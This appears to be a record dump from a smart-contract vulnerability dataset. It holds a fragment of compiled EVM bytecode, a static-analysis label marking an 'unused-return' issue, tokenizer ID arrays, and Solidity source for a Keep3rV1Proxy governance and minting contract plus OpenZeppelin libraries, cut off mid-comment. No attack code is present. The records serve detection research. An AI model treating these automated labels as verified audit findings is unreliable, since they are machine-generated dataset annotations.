6040519150601f19603f3d011682016040523d82523d6000602084013e6130fa565b606091505b5080516131195760405162461bcd60e51b8152600401610bd8906140f8565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611cbc565b506001611cbc565b610d488282604051806020016040528060008152506133f8565b60008046806001811461319257608981146131ae57600481146131ca576201388181146131e65761053981146132025761321a565b73a5409ec958c83c3f309868babaca7c86dcb077c1925061321a565b7358807bad0b376efc12f5ad86aac70e78ed67deae925061321a565b73f57b2c51ded3a29e6891aba85459d600256cf317925061321a565b73ff7ca10af37178bdd056628ef42fd7f799fac77c925061321a565b73e1a2bbc877b29adbc56d2659dbcb0ae14ee6207192505b506001600160a01b03821615806132315750806089145b8061323e57508062013881145b1561324a575092915050565b60405163c455279160e01b81526001600160a01b03858116600483015283169063c455279190602401602060405180830381865afa158015613290573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cbc919061407b565b60008181526001830160205260408120546132fb57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610acb565b506000610acb565b600654600160a01b900460ff1615610d0e5760405162461bcd60e51b815260206004820152602b60248201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760448201526a1a1a5b19481c185d5cd95960aa1b6064820152608401610bd8565b600061337d8251612c97565b8260405160200161338f92919061428b565b604051602081830303815290604052805190602001209050919050565b60006128066133f18585858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061342b92505050565b869061344f565b6134028383613471565b61340f6000848484613048565b610d0e5760405162461bcd60e51b8152600401610bd8906140f8565b600080600061343a85856135bf565b915091506134478161362c565b509392505050565b6001600160a01b038116600090815260018301602052604081205415156111ac565b6001600160a01b0382166134c75760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610bd8565b6000818152600260205260409020546001600160a01b03161561352c5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610bd8565b61353860008383612c28565b6001600160a01b038216600090815260036020526040812080546001929061356190849061404d565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6000808251604114156135f65760208301516040840151606085015160001a6135ea878285856137e7565b94509450505050610e49565b82516040141561362057602083015160408401516136158683836138d4565b935093505050610e49565b50600090506002610e49565b6000816004811115613640576136406142e6565b14156136495750565b600181600481111561365d5761365d6142e6565b14156136ab5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610bd8565b60028160048111156136bf576136bf6142e6565b141561370d5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610bd8565b6003816004811115613721576137216142e6565b141561377a5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610bd8565b600481600481111561378e5761378e6142e6565b1415611b235760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610bd8565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561381e57506000905060036138cb565b8460ff16601b1415801561383657508460ff16601c14155b1561384757506000905060046138cb565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561389b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166138c4576000600192509250506138cb565b9150600090505b94509492505050565b6000806001600160ff1b03831660ff84901c601b016138f5878288856137e7565b935093505050935093915050565b6001600160e01b031981168114611b2357600080fd5b60006020828403121561392b57600080fd5b81356111ac81613903565b60005b83811015613951578181015183820152602001613939565b8381111561119a5750506000910152565b6000815180845261397a816020860160208601613936565b601f01601f19169290920160200192915050565b6020815260006111ac6020830184613962565b6000602082840312156139b357600080fd5b5035919050565b6001600160a01b0381168114611b2357600080fd5b600080604083850312156139e257600080fd5b82356139ed816139ba565b946020939093013593505050565b600060208284031215613a0d57600080fd5b81356111ac816139ba565b600080600060608486031215613a2d57600080fd5b8335613a38816139ba565b92506020840135613a48816139ba565b929592945050506040919091013590565b60008060408385031215613a6c57600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b60405160e0810167ffffffffffffffff81118282101715613ab457613ab4613a7b565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715613ae357613ae3613a7b565b604052919050565b8015158114611b2357600080fd5b8035613b0481613aeb565b919050565b600060e08284031215613b1b57600080fd5b613b23613a91565b82358152602080840135908201526040808401359082015260608301356001600160f81b0381168114613b5557600080fd5b6060820152613b6660808401613af9565b6080820152613b7760a08401613af9565b60a0820152613b8860c08401613af9565b60c08201529392505050565b60008083601f840112613ba657600080fd5b50813567ffffffffffffffff811115613bbe57600080fd5b6020830191508360208260051b8501011115610e4957600080fd5b60008060008060408587031215613bef57600080fd5b843567ffffffffffffffff80821115613c0757600080fd5b613c1388838901613b94565b90965094506020870135915080821115613c2c57600080fd5b50613c3987828801613b94565b95989497509550505050565b600080600080600060808688031215613c5d57600080fd5b853594506020860135935060408601359250606086013567ffffffffffffffff80821115613c8a57600080fd5b818801915088601f830112613c9e57600080fd5b813581811115613cad57600080fd5b896020828501011115613cbf57600080fd5b9699959850939650602001949392505050565b60008060408385031215613ce557600080fd5b8235613cf0816139ba565b91506020830135613d0081613aeb565b809150509250929050565b600067ffffffffffffffff821115613d2557613d25613a7b565b50601f01601f191660200190565b60008060008060808587031215613d4957600080fd5b8435613d54816139ba565b93506020850135613d64816139ba565b925060408501359150606085013567ffffffffffffffff811115613d8757600080fd5b8501601f81018713613d9857600080fd5b8035613dab613da682613d0b565b613aba565b818152886020838501011115613dc057600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b60008060408385031215613df557600080fd5b8235613e00816139ba565b91506020830135613d00816139ba565b600060208284031215613e2257600080fd5b81356111ac81613aeb565b600181811c90821680613e4157607f821691505b602082108114156118ee57634e487b7160e01b600052602260045260246000fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615613f1857613f18613ee8565b500290565b634e487b7160e01b600052601260045260246000fd5b600082613f4257613f42613f1d565b500490565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b600082821015613f8357613f83613ee8565b500390565b634e487b7160e01b600052600160045260246000fd5b60208082526021908201527f455243373231436f6d6d6f6e3a20546f6b656e20646f65736e277420657869736040820152601d60fa1b606082015260800190565b600060208284031215613ff157600080fd5b815167ffffffffffffffff81111561400857600080fd5b8201601f8101841361401957600080fd5b8051614027613da682613d0b565b81815285602083850101111561403c57600080fd5b612806826020830160208601613936565b6000821982111561406057614060613ee8565b500190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561408d57600080fd5b81516111ac816139ba565b60006000198214156140ac576140ac613ee8565b5060010190565b6d029b2b63632b91d1021b7b9ba39960951b8152600082516140dc81600e850160208701613936565b64204757656960d81b600e939091019283015250601301919050565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6000835161415c818460208801613936565b9190910191825250602001919050565b634e487b7160e01b600052603160045260246000fd5b60008351614194818460208801613936565b600160fd1b90830190815283516141b2816001840160208801613936565b01600101949350505050565b67029b2b63632b91d160c51b8152600082516141e1816008850160208701613936565b9190910160080192915050565b6000826141fd576141fd613f1d565b500690565b60008251614214818460208701613936565b9190910192915050565b60006020828403121561423057600080fd5b81516111ac81613aeb565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061210e90830184613962565b60006020828403121561428057600080fd5b81516111ac81613903565b7f19457468657265756d205369676e6564204d6573736167653a0a0000000000008152600083516142c381601a850160208801613936565b8351908301906142da81601a840160208801613936565b01601a01949350505050565b634e487b7160e01b600052602160045260246000fdfe45524337323152656465656d65723a206e6f7420617070726f766564206e6f72206f776e6572206f6645524337323152656465656d65723a206f76657220616c6c6f77616e636520666f72a26469706673582212200d95baee1b5e229bb31530e91708cee8aaed6e187d578914d4bf09b99808a71464736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 27717, 19961, 9818, 2063, 21486, 23833, 2575, 2094, 2509, 2098, 21472, 2692, 2050, 19481, 2683, 22394, 2692, 14141, 22275, 21472, 2575, 18939, 2683, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 9385, 16798, 2475, 12098, 5521, 8040, 7317, 2891, 4059, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1026, 1014, 1012, 1023, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 20912, 14643, 7389, 4063, 2121, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 12997, 12083, 10415, 10020, 10880, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 17856, 17905, 15007, 1013, 3802, 4048, 2121, 1013, 8311, 1013, 19888, 2080, 1013, 8085, 5403, 9102, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 17856, 17905, 15007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,813
0x976b01c02c636Dd5901444B941442FD70b86dcd5
// SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; import './interfaces/IKeep3rV1.sol'; import './interfaces/IKeep3rV1Proxy.sol'; import './peripherals/Keep3rGovernance.sol'; import './peripherals/DustCollector.sol'; import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol'; contract Keep3rV1Proxy is IKeep3rV1Proxy, Keep3rGovernance, DustCollector { using EnumerableSet for EnumerableSet.AddressSet; address public override keep3rV1; address public override minter; constructor(address _governance, address _keep3rV1) Keep3rGovernance(_governance) { keep3rV1 = _keep3rV1; } mapping(address => uint256) public override caps; mapping(address => uint256) public override next; EnumerableSet.AddressSet internal _recipients; function addRecipient(address recipient, uint256 amount) external override onlyGovernance { _recipients.add(recipient); caps[recipient] = amount; } function removeRecipient(address recipient) external override onlyGovernance { _recipients.remove(recipient); delete caps[recipient]; } function recipients() external view override returns (address[] memory) { return _recipients.values(); } function recipientsCaps() external view override returns (Recipient[] memory _memory) { _memory = new Recipient[](_recipients.length()); for (uint256 i; i < _recipients.length(); i++) { _memory[i] = (Recipient(_recipients.at(i), caps[_recipients.at(i)])); } } function draw() external override returns (uint256 _amount) { if (block.timestamp < next[msg.sender]) revert Cooldown(); if (caps[msg.sender] == 0) revert NoDrawableAmount(); if ((block.timestamp - next[msg.sender]) > 1 weeks) { next[msg.sender] = block.timestamp + 1 weeks; } else { next[msg.sender] += 1 weeks; } _amount = caps[msg.sender]; _mint(msg.sender, _amount); } function setKeep3rV1(address _keep3rV1) external override onlyGovernance noZeroAddress(_keep3rV1) { keep3rV1 = _keep3rV1; } function setMinter(address _minter) external override onlyGovernance noZeroAddress(_minter) { minter = _minter; } function mint(uint256 _amount) external override onlyMinter { _mint(msg.sender, _amount); } function mint(address _account, uint256 _amount) external override onlyGovernance { _mint(_account, _amount); } function setKeep3rV1Governance(address _governance) external override onlyGovernance { IKeep3rV1(keep3rV1).setGovernance(_governance); } function acceptKeep3rV1Governance() external override onlyGovernance { IKeep3rV1(keep3rV1).acceptGovernance(); } function dispute(address _keeper) external override onlyGovernance { IKeep3rV1(keep3rV1).dispute(_keeper); } function slash( address _bonded, address _keeper, uint256 _amount ) external override onlyGovernance { IKeep3rV1(keep3rV1).slash(_bonded, _keeper, _amount); } function revoke(address _keeper) external override onlyGovernance { IKeep3rV1(keep3rV1).revoke(_keeper); } function resolve(address _keeper) external override onlyGovernance { IKeep3rV1(keep3rV1).resolve(_keeper); } function addJob(address _job) external override onlyGovernance { IKeep3rV1(keep3rV1).addJob(_job); } function removeJob(address _job) external override onlyGovernance { IKeep3rV1(keep3rV1).removeJob(_job); } function addKPRCredit(address _job, uint256 _amount) external override onlyGovernance { IKeep3rV1(keep3rV1).addKPRCredit(_job, _amount); } function approveLiquidity(address _liquidity) external override onlyGovernance { IKeep3rV1(keep3rV1).approveLiquidity(_liquidity); } function revokeLiquidity(address _liquidity) external override onlyGovernance { IKeep3rV1(keep3rV1).revokeLiquidity(_liquidity); } function setKeep3rHelper(address _keep3rHelper) external override onlyGovernance { IKeep3rV1(keep3rV1).setKeep3rHelper(_keep3rHelper); } function addVotes(address _voter, uint256 _amount) external override onlyGovernance { IKeep3rV1(keep3rV1).addVotes(_voter, _amount); } function removeVotes(address _voter, uint256 _amount) external override onlyGovernance { IKeep3rV1(keep3rV1).removeVotes(_voter, _amount); } modifier onlyMinter { if (msg.sender != minter) revert OnlyMinter(); _; } modifier noZeroAddress(address _address) { if (_address == address(0)) revert ZeroAddress(); _; } function _mint(address _account, uint256 _amount) internal { IKeep3rV1(keep3rV1).mint(_amount); IKeep3rV1(keep3rV1).transfer(_account, _amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol'; // solhint-disable func-name-mixedcase interface IKeep3rV1 is IERC20, IERC20Metadata { // structs struct Checkpoint { uint32 fromBlock; uint256 votes; } // events event DelegateChanged(address indexed _delegator, address indexed _fromDelegate, address indexed _toDelegate); event DelegateVotesChanged(address indexed _delegate, uint256 _previousBalance, uint256 _newBalance); event SubmitJob(address indexed _job, address indexed _liquidity, address indexed _provider, uint256 _block, uint256 _credit); event ApplyCredit(address indexed _job, address indexed _liquidity, address indexed _provider, uint256 _block, uint256 _credit); event RemoveJob(address indexed _job, address indexed _liquidity, address indexed _provider, uint256 _block, uint256 _credit); event UnbondJob(address indexed _job, address indexed _liquidity, address indexed _provider, uint256 _block, uint256 _credit); event JobAdded(address indexed _job, uint256 _block, address _governance); event JobRemoved(address indexed _job, uint256 _block, address _governance); event KeeperWorked(address indexed _credit, address indexed _job, address indexed _keeper, uint256 _block, uint256 _amount); event KeeperBonding(address indexed _keeper, uint256 _block, uint256 _active, uint256 _bond); event KeeperBonded(address indexed _keeper, uint256 _block, uint256 _activated, uint256 _bond); event KeeperUnbonding(address indexed _keeper, uint256 _block, uint256 _deactive, uint256 _bond); event KeeperUnbound(address indexed _keeper, uint256 _block, uint256 _deactivated, uint256 _bond); event KeeperSlashed(address indexed _keeper, address indexed _slasher, uint256 _block, uint256 _slash); event KeeperDispute(address indexed _keeper, uint256 _block); event KeeperResolved(address indexed _keeper, uint256 _block); event AddCredit(address indexed _credit, address indexed _job, address indexed _creditor, uint256 _block, uint256 _amount); // variables function keep3rHelper() external returns (address); function delegates(address _delegator) external view returns (address); function checkpoints(address _account, uint32 _checkpoint) external view returns (Checkpoint memory); function numCheckpoints(address _account) external view returns (uint32); function DOMAIN_TYPEHASH() external returns (bytes32); function DOMAINSEPARATOR() external returns (bytes32); function DELEGATION_TYPEHASH() external returns (bytes32); function PERMIT_TYPEHASH() external returns (bytes32); function nonces(address _user) external view returns (uint256); function BOND() external returns (uint256); function UNBOND() external returns (uint256); function LIQUIDITYBOND() external returns (uint256); function FEE() external returns (uint256); function BASE() external returns (uint256); function ETH() external returns (address); function bondings(address _user, address _bonding) external view returns (uint256); function canWithdrawAfter(address _user, address _bonding) external view returns (uint256); function pendingUnbondAmount(address _keeper, address _bonding) external view returns (uint256); function pendingbonds(address _keeper, address _bonding) external view returns (uint256); function bonds(address _keeper, address _bonding) external view returns (uint256); function votes(address _delegator) external view returns (uint256); function totalBonded() external returns (uint256); function firstSeen(address _keeper) external view returns (uint256); function disputes(address _keeper) external view returns (bool); function lastJob(address _keeper) external view returns (uint256); function workCompleted(address _keeper) external view returns (uint256); function jobs(address _job) external view returns (bool); function credits(address _job, address _credit) external view returns (uint256); function liquidityProvided( address _provider, address _liquidity, address _job ) external view returns (uint256); function liquidityUnbonding( address _provider, address _liquidity, address _job ) external view returns (uint256); function liquidityAmountsUnbonding( address _provider, address _liquidity, address _job ) external view returns (uint256); function jobProposalDelay(address _job) external view returns (uint256); function liquidityApplied( address _provider, address _liquidity, address _job ) external view returns (uint256); function liquidityAmount( address _provider, address _liquidity, address _job ) external view returns (uint256); function keepers(address _keeper) external view returns (bool); function blacklist(address _keeper) external view returns (bool); function keeperList(uint256 _index) external view returns (address); function jobList(uint256 _index) external view returns (address); function governance() external returns (address); function pendingGovernance() external returns (address); function liquidityAccepted(address _liquidity) external view returns (bool); function liquidityPairs(uint256 _index) external view returns (address); // methods function getCurrentVotes(address _account) external view returns (uint256); function addCreditETH(address _job) external payable; function addCredit( address _credit, address _job, uint256 _amount ) external; function addVotes(address _voter, uint256 _amount) external; function removeVotes(address _voter, uint256 _amount) external; function addKPRCredit(address _job, uint256 _amount) external; function approveLiquidity(address _liquidity) external; function revokeLiquidity(address _liquidity) external; function pairs() external view returns (address[] memory); function addLiquidityToJob( address _liquidity, address _job, uint256 _amount ) external; function applyCreditToJob( address _provider, address _liquidity, address _job ) external; function unbondLiquidityFromJob( address _liquidity, address _job, uint256 _amount ) external; function removeLiquidityFromJob(address _liquidity, address _job) external; function mint(uint256 _amount) external; function burn(uint256 _amount) external; function worked(address _keeper) external; function receipt( address _credit, address _keeper, uint256 _amount ) external; function receiptETH(address _keeper, uint256 _amount) external; function addJob(address _job) external; function getJobs() external view returns (address[] memory); function removeJob(address _job) external; function setKeep3rHelper(address _keep3rHelper) external; function setGovernance(address _governance) external; function acceptGovernance() external; function isKeeper(address _keeper) external returns (bool); function isMinKeeper( address _keeper, uint256 _minBond, uint256 _earned, uint256 _age ) external returns (bool); function isBondedKeeper( address _keeper, address _bond, uint256 _minBond, uint256 _earned, uint256 _age ) external returns (bool); function bond(address _bonding, uint256 _amount) external; function getKeepers() external view returns (address[] memory); function activate(address _bonding) external; function unbond(address _bonding, uint256 _amount) external; function slash( address _bonded, address _keeper, uint256 _amount ) external; function withdraw(address _bonding) external; function dispute(address _keeper) external; function revoke(address _keeper) external; function resolve(address _keeper) external; function permit( address _owner, address _spender, uint256 _amount, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; import './peripherals/IKeep3rGovernance.sol'; interface IKeep3rV1Proxy is IKeep3rGovernance { // structs struct Recipient { address recipient; uint256 caps; } // variables function keep3rV1() external view returns (address); function minter() external view returns (address); function next(address) external view returns (uint256); function caps(address) external view returns (uint256); function recipients() external view returns (address[] memory); function recipientsCaps() external view returns (Recipient[] memory); // errors error Cooldown(); error NoDrawableAmount(); error OnlyMinter(); // methods function addRecipient(address recipient, uint256 amount) external; function removeRecipient(address recipient) external; function draw() external returns (uint256 _amount); function setKeep3rV1(address _keep3rV1) external; function setMinter(address _minter) external; function mint(uint256 _amount) external; function mint(address _account, uint256 _amount) external; function setKeep3rV1Governance(address _governance) external; function acceptKeep3rV1Governance() external; function dispute(address _keeper) external; function slash( address _bonded, address _keeper, uint256 _amount ) external; function revoke(address _keeper) external; function resolve(address _keeper) external; function addJob(address _job) external; function removeJob(address _job) external; function addKPRCredit(address _job, uint256 _amount) external; function approveLiquidity(address _liquidity) external; function revokeLiquidity(address _liquidity) external; function setKeep3rHelper(address _keep3rHelper) external; function addVotes(address _voter, uint256 _amount) external; function removeVotes(address _voter, uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; import '../interfaces/peripherals/IKeep3rGovernance.sol'; import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol'; abstract contract Keep3rGovernance is IKeep3rGovernance { address public override governance; address public override pendingGovernance; constructor(address _governance) { governance = _governance; } function setGovernance(address _governance) external override onlyGovernance { pendingGovernance = _governance; emit GovernanceProposal(_governance); } function acceptGovernance() external override onlyPendingGovernance { governance = pendingGovernance; delete pendingGovernance; emit GovernanceSet(governance); } modifier onlyGovernance { if (msg.sender != governance) revert OnlyGovernance(); _; } modifier onlyPendingGovernance { if (msg.sender != pendingGovernance) revert OnlyPendingGovernance(); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.4 <0.9.0; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol'; import '../interfaces/peripherals/IDustCollector.sol'; import './Keep3rGovernance.sol'; abstract contract DustCollector is IDustCollector, Keep3rGovernance { using SafeERC20 for IERC20; address internal constant _ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function sendDust( address _token, uint256 _amount, address _to ) external override onlyGovernance { if (_to == address(0)) revert ZeroAddress(); if (_token == _ETH_ADDRESS) { payable(_to).transfer(_amount); } else { IERC20(_token).safeTransfer(_to, _amount); } emit DustSent(_token, _amount, _to); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * 